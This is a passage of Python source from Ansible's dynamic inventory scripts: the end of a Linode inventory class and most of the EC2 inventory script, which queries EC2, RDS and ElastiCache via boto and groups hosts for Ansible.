            self.populate_datacenter_cache()
        location = self._datacenter_cache[node.datacenter_id].location
        location = location.lower()
        location = location.split(",")[0]
        return location

    def add_node(self, node):
        """Adds an node to the inventory and index."""

        dest = node.label

        # Add to index
        self.index[dest] = node.api_id

        # Inventory: Group by node ID (always a group of 1)
        self.inventory[node.api_id] = [dest]

        # Inventory: Group by datacenter city
        self.push(self.inventory, self.get_datacenter_city(node), dest)

        # Inventory: Group by dipslay group
        self.push(self.inventory, node.display_group, dest)

    def get_host_info(self):
        """Get variables about a specific host."""

        if len(self.index) == 0:
            # Need to load index from cache
            self.load_index_from_cache()

        if not self.args.host in self.index:
            # try updating the cache
            self.do_api_calls_update_cache()
            if not self.args.host in self.index:
                # host might not exist anymore
                return self.json_format_dict({}, True)

        node_id = self.index[self.args.host]

        node = self.get_node(node_id)
        node_vars = {}
        for direct_attr in [
            "api_id",
            "datacenter_id",
            "label",
            "display_group",
            "create_dt",
            "total_hd",
            "total_xfer",
            "total_ram",
            "status",
            "alert_cpu_enabled",
            "alert_cpu_threshold",
            "alert_diskio_enabled",
            "alert_diskio_threshold",
            "alert_bwin_enabled",
            "alert_bwin_threshold",
            "alert_bwout_enabled",
            "alert_bwout_threshold",
            "alert_bwquota_enabled",
            "alert_bwquota_threshold",
            "backup_weekly_daily",
            "backup_window",
            "watchdog"
        ]:
            node_vars[direct_attr] = getattr(node, direct_attr)

        node_vars["datacenter_city"] = self.get_datacenter_city(node)
        node_vars["public_ip"] = [addr.address for addr in node.ipaddresses if addr.is_public][0]

        # Set the SSH host information, so these inventory items can be used if
        # their labels aren't FQDNs
        node_vars['ansible_ssh_host'] = node_vars["public_ip"]
        node_vars['ansible_host'] = node_vars["public_ip"]

        private_ips = [addr.address for addr in node.ipaddresses if not addr.is_public]

        if private_ips:
            node_vars["private_ip"] = private_ips[0]

        return self.json_format_dict(node_vars, True)

    def push(self, my_dict, key, element):
        """Pushed an element onto an array that may not have been defined in the dict."""
        if key in my_dict:
            my_dict[key].append(element);
        else:
            my_dict[key] = [element]

    def get_inventory_from_cache(self):
        """Reads the inventory from the cache file and returns it as a JSON object."""
        cache = open(self.cache_path_cache, 'r')
        json_inventory = cache.read()
        return json_inventory

    def load_index_from_cache(self):
        """Reads the index from the cache file and sets self.index."""
        cache = open(self.cache_path_index, 'r')
        json_index = cache.read()
        self.index = json.loads(json_index)

    def write_to_cache(self, data, filename):
        """Writes data in JSON format to a file."""
        json_data = self.json_format_dict(data, True)
        cache = open(filename, 'w')
        cache.write(json_data)
        cache.close()

    def to_safe(self, word):
        """Escapes any characters that would be invalid in an ansible group name."""
        return re.sub("[^A-Za-z0-9\-]", "_", word)

    def json_format_dict(self, data, pretty=False):
        """Converts a dict to a JSON object and dumps it as a formatted string."""
        if pretty:
            return json.dumps(data, sort_keys=True, indent=2)
        else:
            return json.dumps(data)


LinodeInventory()






#!/usr/bin/env python

'''
EC2 external inventory script
=================================

Generates inventory that Ansible can understand by making API request to
AWS EC2 using the Boto library.

NOTE: This script assumes Ansible is being executed where the environment
variables needed for Boto have already been set:
    export AWS_ACCESS_KEY_ID='AK123'
    export AWS_SECRET_ACCESS_KEY='abc123'

This script also assumes there is an ec2.ini file alongside it.  To specify a
different path to ec2.ini, define the EC2_INI_PATH environment variable:

    export EC2_INI_PATH=/path/to/my_ec2.ini

If you're using eucalyptus you need to set the above variables and
you need to define:

    export EC2_URL=http://hostname_of_your_cc:port/services/Eucalyptus

If you're using boto profiles (requires boto>=2.24.0) you can choose a profile
using the --boto-profile command line argument (e.g. ec2.py --boto-profile prod) or using
the AWS_PROFILE variable:

    AWS_PROFILE=prod ansible-playbook -i ec2.py myplaybook.yml

For more details, see: http://docs.pythonboto.org/en/latest/boto_config_tut.html

When run against a specific host, this script returns the following variables:
 - ec2_ami_launch_index
 - ec2_architecture
 - ec2_association
 - ec2_attachTime
 - ec2_attachment
 - ec2_attachmentId
 - ec2_client_token
 - ec2_deleteOnTermination
 - ec2_description
 - ec2_deviceIndex
 - ec2_dns_name
 - ec2_eventsSet
 - ec2_group_name
 - ec2_hypervisor
 - ec2_id
 - ec2_image_id
 - ec2_instanceState
 - ec2_instance_type
 - ec2_ipOwnerId
 - ec2_ip_address
 - ec2_item
 - ec2_kernel
 - ec2_key_name
 - ec2_launch_time
 - ec2_monitored
 - ec2_monitoring
 - ec2_networkInterfaceId
 - ec2_ownerId
 - ec2_persistent
 - ec2_placement
 - ec2_platform
 - ec2_previous_state
 - ec2_private_dns_name
 - ec2_private_ip_address
 - ec2_publicIp
 - ec2_public_dns_name
 - ec2_ramdisk
 - ec2_reason
 - ec2_region
 - ec2_requester_id
 - ec2_root_device_name
 - ec2_root_device_type
 - ec2_security_group_ids
 - ec2_security_group_names
 - ec2_shutdown_state
 - ec2_sourceDestCheck
 - ec2_spot_instance_request_id
 - ec2_state
 - ec2_state_code
 - ec2_state_reason
 - ec2_status
 - ec2_subnet_id
 - ec2_tenancy
 - ec2_virtualization_type
 - ec2_vpc_id

These variables are pulled out of a boto.ec2.instance object. There is a lack of
consistency with variable spellings (camelCase and underscores) since this
just loops through all variables the object exposes. It is preferred to use the
ones with underscores when multiple exist.

In addition, if an instance has AWS Tags associated with it, each tag is a new
variable named:
 - ec2_tag_[Key] = [Value]

Security groups are comma-separated in 'ec2_security_group_ids' and
'ec2_security_group_names'.
'''

# (c) 2012, Peter Sankauskas
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

######################################################################

import sys
import os
import argparse
import re
from time import time
import boto
from boto import ec2
from boto import rds
from boto import elasticache
from boto import route53
import six

from ansible.module_utils import ec2 as ec2_utils

HAS_BOTO3 = False
try:
    import boto3
    HAS_BOTO3 = True
except ImportError:
    pass

from six.moves import configparser
from collections import defaultdict

try:
    import json
except ImportError:
    import simplejson as json


class Ec2Inventory(object):

    def _empty_inventory(self):
        return {"_meta" : {"hostvars" : {}}}

    def __init__(self):
        ''' Main execution path '''

        # Inventory grouped by instance IDs, tags, security groups, regions,
        # and availability zones
        self.inventory = self._empty_inventory()

        # Index of hostname (address) to instance ID
        self.index = {}

        # Boto profile to use (if any)
        self.boto_profile = None

        # AWS credentials.
        self.credentials = {}

        # Read settings and parse CLI arguments
        self.parse_cli_args()
        self.read_settings()

        # Make sure that profile_name is not passed at all if not set
        # as pre 2.24 boto will fall over otherwise
        if self.boto_profile:
            if not hasattr(boto.ec2.EC2Connection, 'profile_name'):
                self.fail_with_error("boto version must be >= 2.24 to use profile")

        # Cache
        if self.args.refresh_cache:
            self.do_api_calls_update_cache()
        elif not self.is_cache_valid():
            self.do_api_calls_update_cache()

        # Data to print
        if self.args.host:
            data_to_print = self.get_host_info()

        elif self.args.list:
            # Display list of instances for inventory
            if self.inventory == self._empty_inventory():
                data_to_print = self.get_inventory_from_cache()
            else:
                data_to_print = self.json_format_dict(self.inventory, True)

        print(data_to_print)


    def is_cache_valid(self):
        ''' Determines if the cache files have expired, or if it is still valid '''

        if os.path.isfile(self.cache_path_cache):
            mod_time = os.path.getmtime(self.cache_path_cache)
            current_time = time()
            if (mod_time + self.cache_max_age) > current_time:
                if os.path.isfile(self.cache_path_index):
                    return True

        return False


    def read_settings(self):
        ''' Reads the settings from the ec2.ini file '''
        if six.PY3:
            config = configparser.ConfigParser()
        else:
            config = configparser.SafeConfigParser()
        ec2_default_ini_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'ec2.ini')
        ec2_ini_path = os.path.expanduser(os.path.expandvars(os.environ.get('EC2_INI_PATH', ec2_default_ini_path)))
        config.read(ec2_ini_path)

        # is eucalyptus?
        self.eucalyptus_host = None
        self.eucalyptus = False
        if config.has_option('ec2', 'eucalyptus'):
            self.eucalyptus = config.getboolean('ec2', 'eucalyptus')
        if self.eucalyptus and config.has_option('ec2', 'eucalyptus_host'):
            self.eucalyptus_host = config.get('ec2', 'eucalyptus_host')

        # Regions
        self.regions = []
        configRegions = config.get('ec2', 'regions')
        configRegions_exclude = config.get('ec2', 'regions_exclude')
        if (configRegions == 'all'):
            if self.eucalyptus_host:
                self.regions.append(boto.connect_euca(host=self.eucalyptus_host).region.name, **self.credentials)
            else:
                for regionInfo in ec2.regions():
                    if regionInfo.name not in configRegions_exclude:
                        self.regions.append(regionInfo.name)
        else:
            self.regions = configRegions.split(",")

        # Destination addresses
        self.destination_variable = config.get('ec2', 'destination_variable')
        self.vpc_destination_variable = config.get('ec2', 'vpc_destination_variable')

        if config.has_option('ec2', 'hostname_variable'):
            self.hostname_variable = config.get('ec2', 'hostname_variable')
        else:
            self.hostname_variable = None

        if config.has_option('ec2', 'destination_format') and \
           config.has_option('ec2', 'destination_format_tags'):
            self.destination_format = config.get('ec2', 'destination_format')
            self.destination_format_tags = config.get('ec2', 'destination_format_tags').split(',')
        else:
            self.destination_format = None
            self.destination_format_tags = None

        # Route53
        self.route53_enabled = config.getboolean('ec2', 'route53')
        self.route53_excluded_zones = []
        if config.has_option('ec2', 'route53_excluded_zones'):
            self.route53_excluded_zones.extend(
                config.get('ec2', 'route53_excluded_zones', '').split(','))

        # Include RDS instances?
        self.rds_enabled = True
        if config.has_option('ec2', 'rds'):
            self.rds_enabled = config.getboolean('ec2', 'rds')

        # Include RDS cluster instances?
        if config.has_option('ec2', 'include_rds_clusters'):
            self.include_rds_clusters = config.getboolean('ec2', 'include_rds_clusters')
        else:
            self.include_rds_clusters = False

        # Include ElastiCache instances?
        self.elasticache_enabled = True
        if config.has_option('ec2', 'elasticache'):
            self.elasticache_enabled = config.getboolean('ec2', 'elasticache')

        # Return all EC2 instances?
        if config.has_option('ec2', 'all_instances'):
            self.all_instances = config.getboolean('ec2', 'all_instances')
        else:
            self.all_instances = False

        # Instance states to be gathered in inventory. Default is 'running'.
        # Setting 'all_instances' to 'yes' overrides this option.
        ec2_valid_instance_states = [
            'pending',
            'running',
            'shutting-down',
            'terminated',
            'stopping',
            'stopped'
        ]
        self.ec2_instance_states = []
        if self.all_instances:
            self.ec2_instance_states = ec2_valid_instance_states
        elif config.has_option('ec2', 'instance_states'):
          for instance_state in config.get('ec2', 'instance_states').split(','):
            instance_state = instance_state.strip()
            if instance_state not in ec2_valid_instance_states:
              continue
            self.ec2_instance_states.append(instance_state)
        else:
          self.ec2_instance_states = ['running']

        # Return all RDS instances? (if RDS is enabled)
        if config.has_option('ec2', 'all_rds_instances') and self.rds_enabled:
            self.all_rds_instances = config.getboolean('ec2', 'all_rds_instances')
        else:
            self.all_rds_instances = False

        # Return all ElastiCache replication groups? (if ElastiCache is enabled)
        if config.has_option('ec2', 'all_elasticache_replication_groups') and self.elasticache_enabled:
            self.all_elasticache_replication_groups = config.getboolean('ec2', 'all_elasticache_replication_groups')
        else:
            self.all_elasticache_replication_groups = False

        # Return all ElastiCache clusters? (if ElastiCache is enabled)
        if config.has_option('ec2', 'all_elasticache_clusters') and self.elasticache_enabled:
            self.all_elasticache_clusters = config.getboolean('ec2', 'all_elasticache_clusters')
        else:
            self.all_elasticache_clusters = False

        # Return all ElastiCache nodes? (if ElastiCache is enabled)
        if config.has_option('ec2', 'all_elasticache_nodes') and self.elasticache_enabled:
            self.all_elasticache_nodes = config.getboolean('ec2', 'all_elasticache_nodes')
        else:
            self.all_elasticache_nodes = False

        # boto configuration profile (prefer CLI argument)
        self.boto_profile = self.args.boto_profile
        if config.has_option('ec2', 'boto_profile') and not self.boto_profile:
            self.boto_profile = config.get('ec2', 'boto_profile')

        # AWS credentials (prefer environment variables)
        if not (self.boto_profile or os.environ.get('AWS_ACCESS_KEY_ID') or
                os.environ.get('AWS_PROFILE')):
            if config.has_option('credentials', 'aws_access_key_id'):
                aws_access_key_id = config.get('credentials', 'aws_access_key_id')
            else:
                aws_access_key_id = None
            if config.has_option('credentials', 'aws_secret_access_key'):
                aws_secret_access_key = config.get('credentials', 'aws_secret_access_key')
            else:
                aws_secret_access_key = None
            if config.has_option('credentials', 'aws_security_token'):
                aws_security_token = config.get('credentials', 'aws_security_token')
            else:
                aws_security_token = None
            if aws_access_key_id:
                self.credentials = {
                    'aws_access_key_id': aws_access_key_id,
                    'aws_secret_access_key': aws_secret_access_key
                }
                if aws_security_token:
                    self.credentials['security_token'] = aws_security_token

        # Cache related
        cache_dir = os.path.expanduser(config.get('ec2', 'cache_path'))
        if self.boto_profile:
            cache_dir = os.path.join(cache_dir, 'profile_' + self.boto_profile)
        if not os.path.exists(cache_dir):
            os.makedirs(cache_dir)

        cache_name = 'ansible-ec2'
        aws_profile = lambda: (self.boto_profile or
                               os.environ.get('AWS_PROFILE') or
                               os.environ.get('AWS_ACCESS_KEY_ID') or
                               self.credentials.get('aws_access_key_id', None))
        if aws_profile():
            cache_name = '%s-%s' % (cache_name, aws_profile())
        self.cache_path_cache = cache_dir + "/%s.cache" % cache_name
        self.cache_path_index = cache_dir + "/%s.index" % cache_name
        self.cache_max_age = config.getint('ec2', 'cache_max_age')

        if config.has_option('ec2', 'expand_csv_tags'):
            self.expand_csv_tags = config.getboolean('ec2', 'expand_csv_tags')
        else:
            self.expand_csv_tags = False

        # Configure nested groups instead of flat namespace.
        if config.has_option('ec2', 'nested_groups'):
            self.nested_groups = config.getboolean('ec2', 'nested_groups')
        else:
            self.nested_groups = False

        # Replace dash or not in group names
        if config.has_option('ec2', 'replace_dash_in_groups'):
            self.replace_dash_in_groups = config.getboolean('ec2', 'replace_dash_in_groups')
        else:
            self.replace_dash_in_groups = True

        # Configure which groups should be created.
        group_by_options = [
            'group_by_instance_id',
            'group_by_region',
            'group_by_availability_zone',
            'group_by_ami_id',
            'group_by_instance_type',
            'group_by_key_pair',
            'group_by_vpc_id',
            'group_by_security_group',
            'group_by_tag_keys',
            'group_by_tag_none',
            'group_by_route53_names',
            'group_by_rds_engine',
            'group_by_rds_parameter_group',
            'group_by_elasticache_engine',
            'group_by_elasticache_cluster',
            'group_by_elasticache_parameter_group',
            'group_by_elasticache_replication_group',
        ]
        for option in group_by_options:
            if config.has_option('ec2', option):
                setattr(self, option, config.getboolean('ec2', option))
            else:
                setattr(self, option, True)

        # Do we need to just include hosts that match a pattern?
        try:
            pattern_include = config.get('ec2', 'pattern_include')
            if pattern_include and len(pattern_include) > 0:
                self.pattern_include = re.compile(pattern_include)
            else:
                self.pattern_include = None
        except configparser.NoOptionError:
            self.pattern_include = None

        # Do we need to exclude hosts that match a pattern?
        try:
            pattern_exclude = config.get('ec2', 'pattern_exclude');
            if pattern_exclude and len(pattern_exclude) > 0:
                self.pattern_exclude = re.compile(pattern_exclude)
            else:
                self.pattern_exclude = None
        except configparser.NoOptionError:
            self.pattern_exclude = None

        # Instance filters (see boto and EC2 API docs). Ignore invalid filters.
        self.ec2_instance_filters = defaultdict(list)
        if config.has_option('ec2', 'instance_filters'):

            filters = [f for f in config.get('ec2', 'instance_filters').split(',') if f]

            for instance_filter in filters:
                instance_filter = instance_filter.strip()
                if not instance_filter or '=' not in instance_filter:
                    continue
                filter_key, filter_value = [x.strip() for x in instance_filter.split('=', 1)]
                if not filter_key:
                    continue
                self.ec2_instance_filters[filter_key].append(filter_value)

    def parse_cli_args(self):
        ''' Command line argument processing '''

        parser = argparse.ArgumentParser(description='Produce an Ansible Inventory file based on EC2')
        parser.add_argument('--list', action='store_true', default=True,
                           help='List instances (default: True)')
        parser.add_argument('--host', action='store',
                           help='Get all the variables about a specific instance')
        parser.add_argument('--refresh-cache', action='store_true', default=False,
                           help='Force refresh of cache by making API requests to EC2 (default: False - use cache files)')
        parser.add_argument('--profile', '--boto-profile', action='store', dest='boto_profile',
                           help='Use boto profile for connections to EC2')
        self.args = parser.parse_args()


    def do_api_calls_update_cache(self):
        ''' Do API calls to each region, and save data in cache files '''

        if self.route53_enabled:
            self.get_route53_records()

        for region in self.regions:
            self.get_instances_by_region(region)
            if self.rds_enabled:
                self.get_rds_instances_by_region(region)
            if self.elasticache_enabled:
                self.get_elasticache_clusters_by_region(region)
                self.get_elasticache_replication_groups_by_region(region)
            if self.include_rds_clusters:
                self.include_rds_clusters_by_region(region)

        self.write_to_cache(self.inventory, self.cache_path_cache)
        self.write_to_cache(self.index, self.cache_path_index)

    def connect(self, region):
        ''' create connection to api server'''
        if self.eucalyptus:
            conn = boto.connect_euca(host=self.eucalyptus_host, **self.credentials)
            conn.APIVersion = '2010-08-31'
        else:
            conn = self.connect_to_aws(ec2, region)
        return conn

    def boto_fix_security_token_in_profile(self, connect_args):
        ''' monkey patch for boto issue boto/boto#2100 '''
        profile = 'profile ' + self.boto_profile
        if boto.config.has_option(profile, 'aws_security_token'):
            connect_args['security_token'] = boto.config.get(profile, 'aws_security_token')
        return connect_args

    def connect_to_aws(self, module, region):
        connect_args = self.credentials

        # only pass the profile name if it's set (as it is not supported by older boto versions)
        if self.boto_profile:
            connect_args['profile_name'] = self.boto_profile
            self.boto_fix_security_token_in_profile(connect_args)

        conn = module.connect_to_region(region, **connect_args)
        # connect_to_region will fail "silently" by returning None if the region name is wrong or not supported
        if conn is None:
            self.fail_with_error("region name: %s likely not supported, or AWS is down.  connection to region failed." % region)
        return conn

    def get_instances_by_region(self, region):
        ''' Makes an AWS EC2 API call to the list of instances in a particular
        region '''

        try:
            conn = self.connect(region)
            reservations = []
            if self.ec2_instance_filters:
                for filter_key, filter_values in self.ec2_instance_filters.items():
                    reservations.extend(conn.get_all_instances(filters = { filter_key : filter_values }))
            else:
                reservations = conn.get_all_instances()

            # Pull the tags back in a second step
            # AWS are on record as saying that the tags fetched in the first `get_all_instances` request are not
            # reliable and may be missing, and the only way to guarantee they are there is by calling `get_all_tags`
            instance_ids = []
            for reservation in reservations:
                instance_ids.extend([instance.id for instance in reservation.instances])

            max_filter_value = 199
            tags = []
            for i in range(0, len(instance_ids), max_filter_value):
                tags.extend(conn.get_all_tags(filters={'resource-type': 'instance', 'resource-id': instance_ids[i:i+max_filter_value]}))

            tags_by_instance_id = defaultdict(dict)
            for tag in tags:
                tags_by_instance_id[tag.res_id][tag.name] = tag.value

            for reservation in reservations:
                for instance in reservation.instances:
                    instance.tags = tags_by_instance_id[instance.id]
                    self.add_instance(instance, region)

        except boto.exception.BotoServerError as e:
            if e.error_code == 'AuthFailure':
                error = self.get_auth_error_message()
            else:
                backend = 'Eucalyptus' if self.eucalyptus else 'AWS'
                error = "Error connecting to %s backend.\n%s" % (backend, e.message)
            self.fail_with_error(error, 'getting EC2 instances')

    def get_rds_instances_by_region(self, region):
        ''' Makes an AWS API call to the list of RDS instances in a particular
        region '''

        try:
            conn = self.connect_to_aws(rds, region)
            if conn:
                marker = None
                while True:
                    instances = conn.get_all_dbinstances(marker=marker)
                    marker = instances.marker
                    for instance in instances:
                        self.add_rds_instance(instance, region)
                    if not marker:
                        break
        except boto.exception.BotoServerError as e:
            error = e.reason

            if e.error_code == 'AuthFailure':
                error = self.get_auth_error_message()
            if not e.reason == "Forbidden":
                error = "Looks like AWS RDS is down:\n%s" % e.message
            self.fail_with_error(error, 'getting RDS instances')

    def include_rds_clusters_by_region(self, region):
        if not HAS_BOTO3:
            self.fail_with_error("Working with RDS clusters requires boto3 - please install boto3 and try again",
                                 "getting RDS clusters")

        client = ec2_utils.boto3_inventory_conn('client', 'rds', region, **self.credentials)

        marker, clusters = '', []
        while marker is not None:
            resp = client.describe_db_clusters(Marker=marker)
            clusters.extend(resp["DBClusters"])
            marker = resp.get('Marker', None)

        account_id = boto.connect_iam().get_user().arn.split(':')[4]
        c_dict = {}
        for c in clusters:
            # remove these datetime objects as there is no serialisation to json
            # currently in place and we don't need the data yet
            if 'EarliestRestorableTime' in c:
                del c['EarliestRestorableTime']
            if 'LatestRestorableTime' in c:
                del c['LatestRestorableTime']

            if self.ec2_instance_filters == {}:
                matches_filter = True
            else:
                matches_filter = False

            try:
                # arn:aws:rds:<region>:<account number>:<resourcetype>:<name>
                tags = client.list_tags_for_resource(
                    ResourceName='arn:aws:rds:' + region + ':' + account_id + ':cluster:' + c['DBClusterIdentifier'])
                c['Tags'] = tags['TagList']

                if self.ec2_instance_filters:
                    for filter_key, filter_values in self.ec2_instance_filters.items():
                        # get AWS tag key e.g. tag:env will be 'env'
                        tag_name = filter_key.split(":", 1)[1]
                        # Filter values is a list (if you put multiple values for the same tag name)
                        matches_filter = any(d['Key'] == tag_name and d['Value'] in filter_values for d in c['Tags'])

                        if matches_filter:
                            # it matches a filter, so stop looking for further matches
                            break

            except Exception as e:
                if e.message.find('DBInstanceNotFound') >= 0:
                    # AWS RDS bug (2016-01-06) means deletion does not fully complete and leave an 'empty' cluster.
                    # Ignore errors when trying to find tags for these
                    pass

            # ignore empty clusters caused by AWS bug
            if len(c['DBClusterMembers']) == 0:
                continue
            elif matches_filter:
                c_dict[c['DBClusterIdentifier']] = c

        self.inventory['db_clusters'] = c_dict

    def get_elasticache_clusters_by_region(self, region):
        ''' Makes an AWS API call to the list of ElastiCache clusters (with
        nodes' info) in a particular region.'''

        # ElastiCache boto module doesn't provide a get_all_intances method,
        # that's why we need to call describe directly (it would be called by
        # the shorthand method anyway...)
        try:
            conn = self.connect_to_aws(elasticache, region)
            if conn:
                # show_cache_node_info = True
                # because we also want nodes' information
                response = conn.describe_cache_clusters(None, None, None, True)

        except boto.exception.BotoServerError as e:
            error = e.reason

            if e.error_code == 'AuthFailure':
                error = self.get_auth_error_message()
            if not e.reason == "Forbidden":
                error = "Looks like AWS ElastiCache is down:\n%s" % e.message
            self.fail_with_error(error, 'getting ElastiCache clusters')

        try:
            # Boto also doesn't provide wrapper classes to CacheClusters or
            # CacheNodes. Because of that wo can't make use of the get_list
            # method in the AWSQueryConnection. Let's do the work manually
            clusters = response['DescribeCacheClustersResponse']['DescribeCacheClustersResult']['CacheClusters']

        except KeyError as e:
            error = "ElastiCache query to AWS failed (unexpected format)."
            self.fail_with_error(error, 'getting ElastiCache clusters')

        for cluster in clusters:
            self.add_elasticache_cluster(cluster, region)

    def get_elasticache_replication_groups_by_region(self, region):
        ''' Makes an AWS API call to the list of ElastiCache replication groups
        in a particular region.'''

        # ElastiCache boto module doesn't provide a get_all_intances method,
        # that's why we need to call describe directly (it would be called by
        # the shorthand method anyway...)
        try:
            conn = self.connect_to_aws(elasticache, region)
            if conn:
                response = conn.describe_replication_groups()

        except boto.exception.BotoServerError as e:
            error = e.reason

            if e.error_code == 'AuthFailure':
                error = self.get_auth_error_message()
            if not e.reason == "Forbidden":
                error = "Looks like AWS ElastiCache [Replication Groups] is down:\n%s" % e.message
            self.fail_with_error(error, 'getting ElastiCache clusters')

        try:
            # Boto also doesn't provide wrapper classes to ReplicationGroups
            # Because of that wo can't make use of the get_list method in the
            # AWSQueryConnection. Let's do the work manually
            replication_groups = response['DescribeReplicationGroupsResponse']['DescribeReplicationGroupsResult']['ReplicationGroups']

        except KeyError as e:
            error = "ElastiCache [Replication Groups] query to AWS failed (unexpected format)."
            self.fail_with_error(error, 'getting ElastiCache clusters')

        for replication_group in replication_groups:
            self.add_elasticache_replication_group(replication_group, region)

    def get_auth_error_message(self):
        ''' create an informative error message if there is an issue authenticating'''
        errors = ["Authentication error retrieving ec2 inventory."]
        if None in [os.environ.get('AWS_ACCESS_KEY_ID'), os.environ.get('AWS_SECRET_ACCESS_KEY')]:
            errors.append(' - No AWS_ACCESS_KEY_ID or AWS_SECRET_ACCESS_KEY environment vars found')
        else:
            errors.append(' - AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY environment vars found but may not be correct')

        boto_paths = ['/etc/boto.cfg', '~/.boto', '~/.aws/credentials']
        boto_config_found = list(p for p in boto_paths if os.path.isfile(os.path.expanduser(p)))
        if len(boto_config_found) > 0:
            errors.append(" - Boto configs found at '%s', but the credentials contained may not be correct" % ', '.join(boto_config_found))
        else:
            errors.append(" - No Boto config found at any expected location '%s'" % ', '.join(boto_paths))

        return '\n'.join(errors)

    def fail_with_error(self, err_msg, err_operation=None):
        '''log an error to std err for ansible-playbook to consume and exit'''
        if err_operation:
            err_msg = 'ERROR: "{err_msg}", while: {err_operation}'.format(
                err_msg=err_msg, err_operation=err_operation)
        sys.stderr.write(err_msg)
        sys.exit(1)

    def get_instance(self, region, instance_id):
        conn = self.connect(region)

        reservations = conn.get_all_instances([instance_id])
        for reservation in reservations:
            for instance in reservation.instances:
                return instance

    def add_instance(self, instance, region):
        ''' Adds an instance to the inventory and index, as long as it is
        addressable '''

        # Only return instances with desired instance states
        if instance.state not in self.ec2_instance_states:
            return

        # Select the best destination address
        if self.destination_format and self.destination_format_tags:
            dest = self.destination_format.format(*[ getattr(instance, 'tags').get(tag, '') for tag in self.destination_format_tags ])
        elif instance.subnet_id:
            dest = getattr(instance, self.vpc_destination_variable, None)
            if dest is None:
                dest = getattr(instance, 'tags').get(self.vpc_destination_variable, None)
        else:
            dest = getattr(instance, self.destination_variable, None)
            if dest is None:
                dest = getattr(instance, 'tags').get(self.destination_variable, None)

        if not dest:
            # Skip instances we cannot address (e.g. private VPC subnet)
            return

        # Set the inventory name
        hostname = None
        if self.hostname_variable:
            if self.hostname_variable.startswith('tag_'):
                hostname = instance.tags.get(self.hostname_variable[4:], None)
            else:
                hostname = getattr(instance, self.hostname_variable)

        # If we can't get a nice hostname, use the destination address
        if not hostname:
            hostname = dest
        else:
            hostname = self.to_safe(hostname).lower()

        # if we only want to include hosts that match a pattern, skip those that don't
        if self.pattern_include and not self.pattern_include.match(hostname):
            return

        # if we need to exclude hosts that match a pattern, skip those
        if self.pattern_exclude and self.pattern_exclude.match(hostname):
            return

        # Add to index
        self.index[hostname] = [region, instance.id]

        # Inventory: Group by instance ID (always a group of 1)
        if self.group_by_instance_id:
            self.inventory[instance.id] = [hostname]
            if self.nested_groups:
                self.push_group(self.inventory, 'instances', instance.id)

        # Inventory: Group by region
        if self.group_by_region:
            self.push(self.inventory, region, hostname)
            if self.nested_groups:
                self.push_group(self.inventory, 'regions', region)

        # Inventory: Group by availability zone
        if self.group_by_availability_zone:
            self.push(self.inventory, instance.placement, hostname)
            if self.nested_groups:
                if self.group_by_region:
                    self.push_group(self.inventory, region, instance.placement)
                self.push_group(self.inventory, 'zones', instance.placement)

        # Inventory: Group by Amazon Machine Image (AMI) ID
        if self.group_by_ami_id:
            ami_id = self.to_safe(instance.image_id)
            self.push(self.inventory, ami_id, hostname)
            if self.nested_groups:
                self.push_group(self.inventory, 'images', ami_id)

        # Inventory: Group by instance type
        if self.group_by_instance_type:
            type_name = self.to_safe('type_' + instance.instance_type)
            self.push(self.inventory, type_name, hostname)
            if self.nested_groups:
                self.push_group(self.inventory, 'types', type_name)

        # Inventory: Group by key pair
        if self.group_by_key_pair and instance.key_name:
            key_name = self.to_safe('key_' + instance.key_name)
            self.push(self.inventory, key_name, hostname)
            if self.nested_groups:
                self.push_group(self.inventory, 'keys', key_name)

        # Inventory: Group by VPC
        if self.group_by_vpc_id and instance.vpc_id:
            vpc_id_name = self.to_safe('vpc_id_' + instance.vpc_id)
            self.push(self.inventory, vpc_id_name, hostname)
            if self.nested_groups:
                self.push_group(self.inventory, 'vpcs', vpc_id_name)

        # Inventory: Group by security group
        if self.group_by_security_group:
            try:
                for group in instance.groups:
                    key = self.to_safe("security_group_" + group.name)
                    self.push(self.inventory, key, hostname)
                    if self.nested_groups:
                        self.push_group(self.inventory, 'security_groups', key)
            except AttributeError:
                self.fail_with_error('\n'.join(['Package boto seems a bit older.',
                                            'Please upgrade boto >= 2.3.0.']))

        # Inventory: Group by tag keys
        if self.group_by_tag_keys:
            for k, v in instance.tags.items():
                if self.expand_csv_tags and v and ',' in v:
                    values = map(lambda x: x.strip(), v.split(','))
                else:
                    values = [v]

                for v in values:
                    if v:
                        key = self.to_safe("tag_" + k + "=" + v)
                    else:
                        key = self.to_safe("tag_" + k)
                    self.push(self.inventory, key, hostname)
                    if self.nested_groups:
                        self.push_group(self.inventory, 'tags', self.to_safe("tag_" + k))
                        if v:
                            self.push_group(self.inventory, self.to_safe("tag_" + k), key)

        # Inventory: Group by Route53 domain names if enabled
        if self.route53_enabled and self.group_by_route53_names:
            route53_names = self.get_instance_route53_names(instance)
            for name in route53_names:
                self.push(self.inventory, name, hostname)
                if self.nested_groups:
                    self.push_group(self.inventory, 'route53', name)

        # Global Tag: instances without tags
        if self.group_by_tag_none and len(instance.tags) == 0:
            self.push(self.inventory, 'tag_none', hostname)
            if self.nested_groups:
                self.push_group(self.inventory, 'tags', 'tag_none')

        # Global Tag: tag all EC2 instances
        self.push(self.inventory, 'ec2', hostname)

        self.inventory["_meta"]["hostvars"][hostname] = self.get_host_info_dict_from_instance(instance)
        self.inventory["_meta"]["hostvars"][hostname]['ansible_ssh_host'] = dest


    def add_rds_instance(self, instance, region):
        ''' Adds an RDS instance to the inventory and index, as long as it is
        addressable '''

        # Only want available instances unless all_rds_instances is True
        if not self.all_rds_instances and instance.status != 'available':
            return

        # Select the best destination address
        dest = instance.endpoint[0]

        if not dest:
            # Skip instances we cannot address (e.g. private VPC subnet)
            return

        # Set the inventory name
        hostname = None
        if self.hostname_variable:
            if self.hostname_variable.startswith('tag_'):
                hostname = instance.tags.get(self.hostname_variable[4:], None)
            else:
                hostname = getattr(instance, self.hostname_variable)

        # If we can't get a nice hostname, use the destination address
        if not hostname:
            hostname = dest

        hostname = self.to_safe(hostname).lower()

        # Add to index
        self.index[hostname] = [region, instance.id]

        # Inventory: Group by instance ID (always a group of 1)
        if self.group_by_instance_id:
